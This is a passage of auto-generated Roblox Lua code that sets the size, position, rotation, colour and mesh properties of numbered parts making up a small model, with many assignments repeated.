Part197.Size = Vector3.new(0.200000003, 0.289398372, 0.200000003)
Part197.CFrame = CFrame.new(85.2290497, 2.2483387, 70.8214417, 0.999990463, 1.68663576e-06, -5.21396615e-08, 1.52207053e-06, -0.99999398, -3.58559191e-06, -4.70573482e-08, 3.27080488e-06, -0.99999404)
Part197.BottomSurface = Enum.SurfaceType.Smooth
Part197.TopSurface = Enum.SurfaceType.Smooth
Part197.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part197.Position = Vector3.new(85.2290497, 2.2483387, 70.8214417)
Part197.Orientation = Vector3.new(0, -180, 180)
Part197.Color = Color3.new(0.0509804, 0.411765, 0.67451)
BlockMesh198.Parent = Part197
BlockMesh198.Scale = Vector3.new(1, 1, 0.200000003)
BlockMesh198.Scale = Vector3.new(1, 1, 0.200000003)
Part199.Parent = Model111
Part199.Material = Enum.Material.SmoothPlastic
Part199.BrickColor = BrickColor.new("Bright blue")
Part199.Reflectance = 0.20000000298023
Part199.Rotation = Vector3.new(90, 0, 0)
Part199.Anchored = true
Part199.CanCollide = false
Part199.FormFactor = Enum.FormFactor.Symmetric
Part199.Size = Vector3.new(0.200000003, 0.704961121, 0.200000003)
Part199.CFrame = CFrame.new(85.2290497, 2.10725856, 71.1549301, 0.999990463, 5.21391357e-08, 1.68663564e-06, 1.52207053e-06, 3.8985163e-06, -0.99999404, -4.70573482e-08, 0.99999404, 3.58559191e-06)
Part199.BottomSurface = Enum.SurfaceType.Smooth
Part199.TopSurface = Enum.SurfaceType.Smooth
Part199.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part199.Position = Vector3.new(85.2290497, 2.10725856, 71.1549301)
Part199.Orientation = Vector3.new(89.8000031, 25.1900005, 21.3299999)
Part199.Color = Color3.new(0.0509804, 0.411765, 0.67451)
BlockMesh200.Parent = Part199
BlockMesh200.Scale = Vector3.new(1, 1, 0.200000003)
BlockMesh200.Scale = Vector3.new(1, 1, 0.200000003)
Part201.Parent = Model111
Part201.Material = Enum.Material.SmoothPlastic
Part201.BrickColor = BrickColor.new("Bright blue")
Part201.Reflectance = 0.20000000298023
Part201.Rotation = Vector3.new(-90, 0, 0)
Part201.Anchored = true
Part201.CanCollide = false
Part201.FormFactor = Enum.FormFactor.Symmetric
Part201.Size = Vector3.new(0.200000003, 0.289398372, 0.200000003)
Part201.CFrame = CFrame.new(85.2290497, 2.24585271, 71.3620148, 0.999990463, -5.21390859e-08, -1.68663564e-06, 1.52207053e-06, -3.92831862e-06, 0.99999404, -4.70573482e-08, -0.99999404, -3.60049307e-06)
Part201.BottomSurface = Enum.SurfaceType.Smooth
Part201.TopSurface = Enum.SurfaceType.Smooth
Part201.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part201.Position = Vector3.new(85.2290497, 2.24585271, 71.3620148)
Part201.Orientation = Vector3.new(-89.8000031, -154.899994, 158.820007)
Part201.Color = Color3.new(0.0509804, 0.411765, 0.67451)
BlockMesh202.Parent = Part201
BlockMesh202.Scale = Vector3.new(1, 1, 0.200000003)
BlockMesh202.Scale = Vector3.new(1, 1, 0.200000003)
Part203.Name = "Cylinder"
Part203.Parent = Model111
Part203.Material = Enum.Material.SmoothPlastic
Part203.BrickColor = BrickColor.new("Really black")
Part203.Rotation = Vector3.new(-90, 0, 90)
Part203.Anchored = true
Part203.CanCollide = false
Part203.FormFactor = Enum.FormFactor.Symmetric
Part203.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part203.CFrame = CFrame.new(85.2129898, 2.2316227, 71.4693756, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
Part203.BottomSurface = Enum.SurfaceType.Smooth
Part203.TopSurface = Enum.SurfaceType.Smooth
Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part203.Position = Vector3.new(85.2129898, 2.2316227, 71.4693756)
Part203.Orientation = Vector3.new(-90, 90, 0)
Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
CylinderMesh204.Parent = Part203
CylinderMesh204.Scale = Vector3.new(0.773780882, 0.773780882, 0.386890441)
CylinderMesh204.Scale = Vector3.new(0.773780882, 0.773780882, 0.386890441)
Part205.Name = "Cylinder"
Part205.Parent = Model111
Part205.Material = Enum.Material.SmoothPlastic
Part205.BrickColor = BrickColor.new("Really black")
Part205.Rotation = Vector3.new(-90, 0, 90)
Part205.Anchored = true
Part205.CanCollide = false
Part205.FormFactor = Enum.FormFactor.Symmetric
Part205.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part205.CFrame = CFrame.new(85.2129898, 2.23079395, 70.7659149, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
Part205.BottomSurface = Enum.SurfaceType.Smooth
Part205.TopSurface = Enum.SurfaceType.Smooth
Part205.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part205.Position = Vector3.new(85.2129898, 2.23079395, 70.7659149)
Part205.Orientation = Vector3.new(-90, 90, 0)
Part205.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
CylinderMesh206.Parent = Part205
CylinderMesh206.Scale = Vector3.new(0.773780882, 0.773780882, 0.386890441)
CylinderMesh206.Scale = Vector3.new(0.773780882, 0.773780882, 0.386890441)
Part207.Name = "Cylinder"
Part207.Parent = Model111
Part207.Material = Enum.Material.SmoothPlastic
Part207.BrickColor = BrickColor.new("Pastel Blue")
Part207.Reflectance = 0.20000000298023
Part207.Rotation = Vector3.new(-90, 0, 90)
Part207.Anchored = true
Part207.CanCollide = false
Part207.FormFactor = Enum.FormFactor.Symmetric
Part207.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part207.CFrame = CFrame.new(85.2065201, 2.60235643, 71.5077591, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
Part207.BottomSurface = Enum.SurfaceType.Smooth
Part207.TopSurface = Enum.SurfaceType.Smooth
Part207.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part207.Position = Vector3.new(85.2065201, 2.60235643, 71.5077591)
Part207.Orientation = Vector3.new(-90, 90, 0)
Part207.Color = Color3.new(0.501961, 0.733333, 0.858824)
CylinderMesh208.Parent = Part207
CylinderMesh208.Scale = Vector3.new(0.857374966, 0.857374966, 0.428687483)
CylinderMesh208.Scale = Vector3.new(0.857374966, 0.857374966, 0.428687483)
Part209.Name = "1"
Part209.Parent = Model111
Part209.Material = Enum.Material.SmoothPlastic
Part209.BrickColor = BrickColor.new("Pastel Blue")
Part209.Reflectance = 0.20000000298023
Part209.Rotation = Vector3.new(-90, 0, 90)
Part209.Anchored = true
Part209.CanCollide = false
Part209.FormFactor = Enum.FormFactor.Symmetric
Part209.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part209.CFrame = CFrame.new(85.1887817, 2.975389, 70.6631317, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
Part209.BottomSurface = Enum.SurfaceType.Smooth
Part209.TopSurface = Enum.SurfaceType.Smooth
Part209.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part209.Position = Vector3.new(85.1887817, 2.975389, 70.6631317)
Part209.Orientation = Vector3.new(-90, 90, 0)
Part209.Color = Color3.new(0.501961, 0.733333, 0.858824)
CylinderMesh210.Parent = Part209
CylinderMesh210.Scale = Vector3.new(1, 1, 0.5)
CylinderMesh210.Scale = Vector3.new(1, 1, 0.5)
Part211.Name = "Cylinder"
Part211.Parent = Model111
Part211.Material = Enum.Material.SmoothPlastic
Part211.BrickColor = BrickColor.new("Pastel Blue")
Part211.Reflectance = 0.20000000298023
Part211.Rotation = Vector3.new(-90, 0, 90)
Part211.Anchored = true
Part211.CanCollide = false
Part211.FormFactor = Enum.FormFactor.Symmetric
Part211.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part211.CFrame = CFrame.new(85.2065201, 2.60143566, 70.7283096, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
Part211.BottomSurface = Enum.SurfaceType.Smooth
Part211.TopSurface = Enum.SurfaceType.Smooth
Part211.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part211.Position = Vector3.new(85.2065201, 2.60143566, 70.7283096)
Part211.Orientation = Vector3.new(-90, 90, 0)
Part211.Color = Color3.new(0.501961, 0.733333, 0.858824)
CylinderMesh212.Parent = Part211
CylinderMesh212.Scale = Vector3.new(0.857374966, 0.857374966, 0.428687483)
CylinderMesh212.Scale = Vector3.new(0.857374966, 0.857374966, 0.428687483)
Part213.Name = "1"
Part213.Parent = Model111
Part213.Material = Enum.Material.SmoothPlastic
Part213.BrickColor = BrickColor.new("Pastel Blue")
Part213.Reflectance = 0.20000000298023
Part213.Rotation = Vector3.new(-90, 0, 90)
Part213.Anchored = true
Part213.CanCollide = false
Part213.FormFactor = Enum.FormFactor.Symmetric
Part213.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part213.CFrame = CFrame.new(85.1887817, 2.97647023, 71.5722427, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
Part213.BottomSurface = Enum.SurfaceType.Smooth
Part213.TopSurface = Enum.SurfaceType.Smooth
Part213.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part213.Position = Vector3.new(85.1887817, 2.97647023, 71.5722427)
Part213.Orientation = Vector3.new(-90, 90, 0)
Part213.Color = Color3.new(0.501961, 0.733333, 0.858824)
CylinderMesh214.Parent = Part213
CylinderMesh214.Scale = Vector3.new(1, 1, 0.5)
CylinderMesh214.Scale = Vector3.new(1, 1, 0.5)
Part215.Name = "Brick"
Part215.Parent = Model111
Part215.Material = Enum.Material.SmoothPlastic
Part215.BrickColor = BrickColor.new("Lapis")
Part215.Rotation = Vector3.new(-98.8700027, 0, 90)
Part215.Anchored = true
Part215.CanCollide = false
Part215.FormFactor = Enum.FormFactor.Symmetric
Part215.Size = Vector3.new(0.200000003, 0.200000048, 3.76191354)
Part215.CFrame = CFrame.new(85.334816, 2.19722486, 72.4109573, 3.44653273e-07, -1, -1.53493693e-06, -0.154159606, -1.56971362e-06, 0.98804605, -0.98804605, -1.03908391e-07, -0.154159606)
Part215.BottomSurface = Enum.SurfaceType.Smooth
Part215.TopSurface = Enum.SurfaceType.Smooth
Part215.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part215.Position = Vector3.new(85.334816, 2.19722486, 72.4109573)
Part215.Orientation = Vector3.new(-81.1299973, -180, -90)
Part215.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh216.Parent = Part215
BlockMesh216.Scale = Vector3.new(0.200000003, 0.200000003, 1)
BlockMesh216.Scale = Vector3.new(0.200000003, 0.200000003, 1)
Part217.Name = "Brick"
Part217.Parent = Model111
Part217.Material = Enum.Material.SmoothPlastic
Part217.BrickColor = BrickColor.new("Lapis")
Part217.Rotation = Vector3.new(81.1299973, 0, -90)
Part217.Anchored = true
Part217.CanCollide = false
Part217.FormFactor = Enum.FormFactor.Symmetric
Part217.Size = Vector3.new(0.200000003, 0.200000048, 0.200000003)
Part217.CFrame = CFrame.new(85.2253647, 0.689384937, 72.6472626, 3.44653273e-07, 1, 1.62236074e-06, -0.154159606, 1.65609265e-06, -0.98804605, -0.98804605, 9.04312216e-08, 0.154159606)
Part217.BottomSurface = Enum.SurfaceType.Smooth
Part217.TopSurface = Enum.SurfaceType.Smooth
Part217.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part217.Position = Vector3.new(85.2253647, 0.689384937, 72.6472626)
Part217.Orientation = Vector3.new(81.1299973, 0, -90)
Part217.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh218.Parent = Part217
BlockMesh218.Scale = Vector3.new(0.200000003, 0.200000003, 0.5)
BlockMesh218.Scale = Vector3.new(0.200000003, 0.200000003, 0.5)
Part219.Name = "Brick"
Part219.Parent = Model111
Part219.Material = Enum.Material.SmoothPlastic
Part219.BrickColor = BrickColor.new("Lapis")
Part219.Rotation = Vector3.new(171.130005, -90, 0)
Part219.Anchored = true
Part219.CanCollide = false
Part219.FormFactor = Enum.FormFactor.Symmetric
Part219.Size = Vector3.new(0.200000003, 0.200000048, 1.06754613)
Part219.CFrame = CFrame.new(84.7113571, 0.642819166, 72.6564255, 3.44653273e-07, 1.90724722e-06, -1, -0.154159606, -0.98804605, -1.93757319e-06, -0.98804605, 0.154159606, -4.65132004e-08)
Part219.BottomSurface = Enum.SurfaceType.Smooth
Part219.TopSurface = Enum.SurfaceType.Smooth
Part219.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part219.Position = Vector3.new(84.7113571, 0.642819166, 72.6564255)
Part219.Orientation = Vector3.new(0, -90, -171.130005)
Part219.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh220.Parent = Part219
BlockMesh220.Scale = Vector3.new(0.200000003, 0.200000003, 1)
BlockMesh220.Scale = Vector3.new(0.200000003, 0.200000003, 1)
Part221.Name = "Brick"
Part221.Parent = Model111
Part221.Material = Enum.Material.SmoothPlastic
Part221.BrickColor = BrickColor.new("Lapis")
Part221.Rotation = Vector3.new(81.1299973, 0, -90)
Part221.Anchored = true
Part221.CanCollide = false
Part221.FormFactor = Enum.FormFactor.Symmetric
Part221.Size = Vector3.new(0.200000003, 0.200000048, 0.400000036)
Part221.CFrame = CFrame.new(85.0661621, 0.575264692, 72.6628799, 3.44653273e-07, 1, 1.62236074e-06, -0.154159606, 1.65609265e-06, -0.98804605, -0.98804605, 9.04312216e-08, 0.154159606)
Part221.BottomSurface = Enum.SurfaceType.Smooth
Part221.TopSurface = Enum.SurfaceType.Smooth
Part221.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part221.Position = Vector3.new(85.0661621, 0.575264692, 72.6628799)
Part221.Orientation = Vector3.new(81.1299973, 0, -90)
Part221.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh222.Parent = Part221
BlockMesh222.Scale = Vector3.new(0.200000003, 0.200000003, 1)
BlockMesh222.Scale = Vector3.new(0.200000003, 0.200000003, 1)
Part223.Name = "Brick"
Part223.Parent = Model111
Part223.Material = Enum.Material.SmoothPlastic
Part223.BrickColor = BrickColor.new("Really black")
Part223.Rotation = Vector3.new(0, 90, 0)
Part223.Anchored = true
Part223.CanCollide = false
Part223.FormFactor = Enum.FormFactor.Symmetric
Part223.Size = Vector3.new(0.275762081, 2.04569292, 0.200000003)
Part223.CFrame = CFrame.new(85.182869, 2.98781443, 72.0021896, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part223.BottomSurface = Enum.SurfaceType.Smooth
Part223.TopSurface = Enum.SurfaceType.Smooth
Part223.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part223.Position = Vector3.new(85.182869, 2.98781443, 72.0021896)
Part223.Orientation = Vector3.new(0, 90, 0)
Part223.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh224.Parent = Part223
Part225.Name = "Brick"
Part225.Parent = Model111
Part225.Material = Enum.Material.SmoothPlastic
Part225.BrickColor = BrickColor.new("Really black")
Part225.Rotation = Vector3.new(90, 90, 0)
Part225.Anchored = true
Part225.CanCollide = false
Part225.FormFactor = Enum.FormFactor.Symmetric
Part225.Size = Vector3.new(0.200000003, 0.682073951, 0.200000003)
Part225.CFrame = CFrame.new(85.2118912, 2.23023295, 71.1194458, -1.85120132e-06, -5.99948677e-08, 1, 0.99999994, 2.66171992e-06, 1.85119575e-06, -2.66171992e-06, 0.99999994, 5.99902847e-08)
Part225.BottomSurface = Enum.SurfaceType.Smooth
Part225.TopSurface = Enum.SurfaceType.Smooth
Part225.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part225.Position = Vector3.new(85.2118912, 2.23023295, 71.1194458)
Part225.Orientation = Vector3.new(0, 90, 90)
Part225.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh226.Parent = Part225
BlockMesh226.Scale = Vector3.new(0.232134268, 1, 0.773780882)
BlockMesh226.Scale = Vector3.new(0.232134268, 1, 0.773780882)
Part227.Name = "Brick"
Part227.Parent = Model111
Part227.Material = Enum.Material.SmoothPlastic
Part227.BrickColor = BrickColor.new("Really black")
Part227.Rotation = Vector3.new(0, 90, 0)
Part227.Anchored = true
Part227.CanCollide = false
Part227.FormFactor = Enum.FormFactor.Symmetric
Part227.Size = Vector3.new(2.0220542, 0.200000048, 0.909533679)
Part227.CFrame = CFrame.new(84.7550049, 3.90972233, 71.1290512, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part227.BottomSurface = Enum.SurfaceType.Smooth
Part227.TopSurface = Enum.SurfaceType.Smooth
Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part227.Position = Vector3.new(84.7550049, 3.90972233, 71.1290512)
Part227.Orientation = Vector3.new(0, 90, 0)
Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh228.Parent = Part227
Part229.Name = "Brick"
Part229.Parent = Model111
Part229.Material = Enum.Material.SmoothPlastic
Part229.BrickColor = BrickColor.new("Navy blue")
Part229.Rotation = Vector3.new(26.2199993, 55.4099998, -19.1499996)
Part229.Anchored = true
Part229.CanCollide = false
Part229.FormFactor = Enum.FormFactor.Symmetric
Part229.Size = Vector3.new(0.621950567, 0.569770336, 0.200000003)
Part229.CFrame = CFrame.new(84.0755386, 4.22622585, 70.6097031, 0.536291659, 0.186247364, 0.823227346, 0.0492807105, 0.96677655, -0.250827938, -0.842592955, 0.175086141, 0.509295702)
Part229.BottomSurface = Enum.SurfaceType.Smooth
Part229.TopSurface = Enum.SurfaceType.Smooth
Part229.Color = Color3.new(0, 0.12549, 0.376471)
Part229.Position = Vector3.new(84.0755386, 4.22622585, 70.6097031)
Part229.Orientation = Vector3.new(14.5299997, 58.2599983, 2.92000008)
Part229.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh230.Parent = Part229
Part231.Name = "Brick"
Part231.Parent = Model111
Part231.Material = Enum.Material.SmoothPlastic
Part231.BrickColor = BrickColor.new("Really black")
Part231.Rotation = Vector3.new(3.86999989, 9.71000004, -0.649999976)
Part231.Anchored = true
Part231.CanCollide = false
Part231.FormFactor = Enum.FormFactor.Symmetric
Part231.Size = Vector3.new(1, 0.569770336, 0.200000003)
Part231.CFrame = CFrame.new(84.7363968, 4.22474575, 70.4194794, 0.985605001, 0.0112363026, 0.168690681, 8.23754817e-07, 0.997788668, -0.0664664507, -0.169064462, 0.0655097961, 0.983425617)
Part231.BottomSurface = Enum.SurfaceType.Smooth
Part231.TopSurface = Enum.SurfaceType.Smooth
Part231.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part231.Position = Vector3.new(84.7363968, 4.22474575, 70.4194794)
Part231.Orientation = Vector3.new(3.80999994, 9.72999954, 0)
Part231.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh232.Parent = Part231
Part233.Name = "Brick"
Part233.Parent = Model111
Part233.Material = Enum.Material.SmoothPlastic
Part233.BrickColor = BrickColor.new("Really black")
Part233.Rotation = Vector3.new(0, 90, 0)
Part233.Anchored = true
Part233.CanCollide = false
Part233.FormFactor = Enum.FormFactor.Symmetric
Part233.Size = Vector3.new(0.34570837, 0.569770336, 0.200000003)
Part233.CFrame = CFrame.new(84.1144104, 4.1997714, 71.0390701, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part233.BottomSurface = Enum.SurfaceType.Smooth
Part233.TopSurface = Enum.SurfaceType.Smooth
Part233.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part233.Position = Vector3.new(84.1144104, 4.1997714, 71.0390701)
Part233.Orientation = Vector3.new(0, 90, 0)
Part233.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh234.Parent = Part233
Part235.Name = "Brick"
Part235.Parent = Model111
Part235.Material = Enum.Material.SmoothPlastic
Part235.BrickColor = BrickColor.new("Navy blue")
Part235.Rotation = Vector3.new(90, 80.4899979, -90)
Part235.Anchored = true
Part235.CanCollide = false
Part235.FormFactor = Enum.FormFactor.Symmetric
Part235.Size = Vector3.new(0.34570837, 0.569770336, 0.200000003)
Part235.CFrame = CFrame.new(83.9347992, 4.21437454, 71.0390854, 5.99961609e-08, 0.165252075, 0.986251473, -3.37511301e-06, 0.986251295, -0.16525206, -0.99999994, -3.30992043e-06, 6.14672899e-07)
Part235.BottomSurface = Enum.SurfaceType.Smooth
Part235.TopSurface = Enum.SurfaceType.Smooth
Part235.Color = Color3.new(0, 0.12549, 0.376471)
Part235.Position = Vector3.new(83.9347992, 4.21437454, 71.0390854)
Part235.Orientation = Vector3.new(9.51000023, 90, 0)
Part235.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh236.Parent = Part235
Part237.Name = "Brick"
Part237.Parent = Model111
Part237.Material = Enum.Material.SmoothPlastic
Part237.BrickColor = BrickColor.new("Really black")
Part237.Rotation = Vector3.new(4.76999998, 57.5600014, -1.20000005)
Part237.Anchored = true
Part237.CanCollide = false
Part237.FormFactor = Enum.FormFactor.Symmetric
Part237.Size = Vector3.new(0.567494869, 0.569770336, 0.200000003)
Part237.CFrame = CFrame.new(84.1754456, 4.21170378, 70.7049713, 0.536291659, 0.0112361535, 0.84395802, 0.0492807105, 0.997788727, -0.0445995405, -0.842592955, 0.0655092001, 0.534552038)
Part237.BottomSurface = Enum.SurfaceType.Smooth
Part237.TopSurface = Enum.SurfaceType.Smooth
Part237.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part237.Position = Vector3.new(84.1754456, 4.21170378, 70.7049713)
Part237.Orientation = Vector3.new(2.55999994, 57.6500015, 2.82999992)
Part237.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh238.Parent = Part237
Part239.Name = "Brick"
Part239.Parent = Model111
Part239.Material = Enum.Material.SmoothPlastic
Part239.BrickColor = BrickColor.new("Navy blue")
Part239.Rotation = Vector3.new(17.3299999, 9.30000019, -2.8900001)
Part239.Anchored = true
Part239.CanCollide = false
Part239.FormFactor = Enum.FormFactor.Symmetric
Part239.Size = Vector3.new(1.20342147, 0.569770336, 0.20717591)
Part239.CFrame = CFrame.new(84.8112564, 4.24095535, 70.2542725, 0.985605001, 0.0496909469, 0.161597043, 8.23754817e-07, 0.955829561, -0.293921709, -0.169064462, 0.289690852, 0.942070186)
Part239.BottomSurface = Enum.SurfaceType.Smooth
Part239.TopSurface = Enum.SurfaceType.Smooth
Part239.Color = Color3.new(0, 0.12549, 0.376471)
Part239.Position = Vector3.new(84.8112564, 4.24095535, 70.2542725)
Part239.Orientation = Vector3.new(17.0900002, 9.72999954, 0)
Part239.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh240.Parent = Part239
Part241.Name = "Brick"
Part241.Parent = Model111
Part241.Material = Enum.Material.SmoothPlastic
Part241.BrickColor = BrickColor.new("Navy blue")
Part241.Rotation = Vector3.new(162.669998, 9.30000019, -177.110001)
Part241.Anchored = true
Part241.CanCollide = false
Part241.FormFactor = Enum.FormFactor.Symmetric
Part241.Size = Vector3.new(1.20342147, 0.569770336, 0.20717591)
Part241.CFrame = CFrame.new(84.8130112, 4.24096441, 71.9904709, -0.985605001, 0.0496907383, 0.161597133, -2.17696652e-06, 0.955827594, -0.293928027, -0.169064477, -0.28969726, -0.942068219)
Part241.BottomSurface = Enum.SurfaceType.Smooth
Part241.TopSurface = Enum.SurfaceType.Smooth
Part241.Color = Color3.new(0, 0.12549, 0.376471)
Part241.Position = Vector3.new(84.8130112, 4.24096441, 71.9904709)
Part241.Orientation = Vector3.new(17.0900002, 170.270004, 0)
Part241.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh242.Parent = Part241
Part243.Name = "Brick"
Part243.Parent = Model111
Part243.Material = Enum.Material.SmoothPlastic
Part243.BrickColor = BrickColor.new("Really black")
Part243.Rotation = Vector3.new(175.229996, 57.5600014, -178.800003)
Part243.Anchored = true
Part243.CanCollide = false
Part243.FormFactor = Enum.FormFactor.Symmetric
Part243.Size = Vector3.new(0.567494869, 0.569770336, 0.200000003)
Part243.CFrame = CFrame.new(84.1772079, 4.21171141, 71.5398026, -0.53629142, 0.0112355668, 0.843958139, -0.0492874496, 0.99778825, -0.0446031094, -0.842592597, -0.0655167922, -0.534551501)
Part243.BottomSurface = Enum.SurfaceType.Smooth
Part243.TopSurface = Enum.SurfaceType.Smooth
Part243.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part243.Position = Vector3.new(84.1772079, 4.21171141, 71.5398026)
Part243.Orientation = Vector3.new(2.55999994, 122.349998, -2.82999992)
Part243.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh244.Parent = Part243
Part245.Name = "Brick"
Part245.Parent = Model111
Part245.Material = Enum.Material.SmoothPlastic
Part245.BrickColor = BrickColor.new("Lapis")
Part245.Rotation = Vector3.new(-171.130005, -90, 0)
Part245.Anchored = true
Part245.CanCollide = false
Part245.FormFactor = Enum.FormFactor.Symmetric
Part245.Size = Vector3.new(0.200000003, 0.200000048, 1.06754613)
Part245.CFrame = CFrame.new(84.7113571, 0.642818213, 69.6025925, -4.57742686e-07, 1.889602e-06, -1, 0.154153615, -0.988046944, -1.93757205e-06, -0.988047063, -0.154153585, 1.60981841e-07)
Part245.BottomSurface = Enum.SurfaceType.Smooth
Part245.TopSurface = Enum.SurfaceType.Smooth
Part245.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part245.Position = Vector3.new(84.7113571, 0.642818213, 69.6025925)
Part245.Orientation = Vector3.new(0, -90, 171.130005)
Part245.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh246.Parent = Part245
BlockMesh246.Scale = Vector3.new(0.200000003, 0.200000003, 1)
BlockMesh246.Scale = Vector3.new(0.200000003, 0.200000003, 1)
Part247.Name = "Brick"
Part247.Parent = Model111
Part247.Material = Enum.Material.SmoothPlastic
Part247.BrickColor = BrickColor.new("Lapis")
Part247.Rotation = Vector3.new(98.8700027, 0, -90)
Part247.Anchored = true
Part247.CanCollide = false
Part247.FormFactor = Enum.FormFactor.Symmetric
Part247.Size = Vector3.new(0.200000003, 0.200000048, 0.200000003)
Part247.CFrame = CFrame.new(85.2253647, 0.689387798, 69.6117401, -4.57742686e-07, 1, 1.60785328e-06, 0.154153615, 1.65919141e-06, -0.988046944, -0.988047063, -2.04414434e-07, -0.154153585)
Part247.BottomSurface = Enum.SurfaceType.Smooth
Part247.TopSurface = Enum.SurfaceType.Smooth
Part247.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part247.Position = Vector3.new(85.2253647, 0.689387798, 69.6117401)
Part247.Orientation = Vector3.new(81.1299973, 180, 90)
Part247.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh248.Parent = Part247
BlockMesh248.Scale = Vector3.new(0.200000003, 0.200000003, 0.5)
BlockMesh248.Scale = Vector3.new(0.200000003, 0.200000003, 0.5)
Part249.Name = "Brick"
Part249.Parent = Model111
Part249.Material = Enum.Material.SmoothPlastic
Part249.BrickColor = BrickColor.new("Lapis")
Part249.Rotation = Vector3.new(-81.1299973, 0, 90)
Part249.Anchored = true
Part249.CanCollide = false
Part249.FormFactor = Enum.FormFactor.Symmetric
Part249.Size = Vector3.new(0.200000003, 0.200000048, 3.76191354)
Part249.CFrame = CFrame.new(85.334816, 2.19723153, 69.8480835, -4.57742686e-07, -1, -1.52042981e-06, 0.154153615, -1.57281283e-06, 0.988046944, -0.988047063, 2.17891056e-07, 0.154153585)
Part249.BottomSurface = Enum.SurfaceType.Smooth
Part249.TopSurface = Enum.SurfaceType.Smooth
Part249.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part249.Position = Vector3.new(85.334816, 2.19723153, 69.8480835)
Part249.Orientation = Vector3.new(-81.1299973, 0, 90)
Part249.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh250.Parent = Part249
BlockMesh250.Scale = Vector3.new(0.200000003, 0.200000003, 1)
BlockMesh250.Scale = Vector3.new(0.200000003, 0.200000003, 1)
Part251.Name = "Brick"
Part251.Parent = Model111
Part251.Material = Enum.Material.SmoothPlastic
Part251.BrickColor = BrickColor.new("Lapis")
Part251.Rotation = Vector3.new(-171.130005, -90, 0)
Part251.Anchored = true
Part251.CanCollide = false
Part251.FormFactor = Enum.FormFactor.Symmetric
Part251.Size = Vector3.new(0.200000003, 0.200000048, 0.200000003)
Part251.CFrame = CFrame.new(85.1451187, 0.752628565, 69.6220932, -4.57742686e-07, 1.889602e-06, -1, 0.154153615, -0.988046944, -1.93757205e-06, -0.988047063, -0.154153585, 1.60981841e-07)
Part251.BottomSurface = Enum.SurfaceType.Smooth
Part251.TopSurface = Enum.SurfaceType.Smooth
Part251.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part251.Position = Vector3.new(85.1451187, 0.752628565, 69.6220932)
Part251.Orientation = Vector3.new(0, -90, 171.130005)
Part251.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh252.Parent = Part251
BlockMesh252.Scale = Vector3.new(0.200000003, 0.200000003, 1)
BlockMesh252.Scale = Vector3.new(0.200000003, 0.200000003, 1)
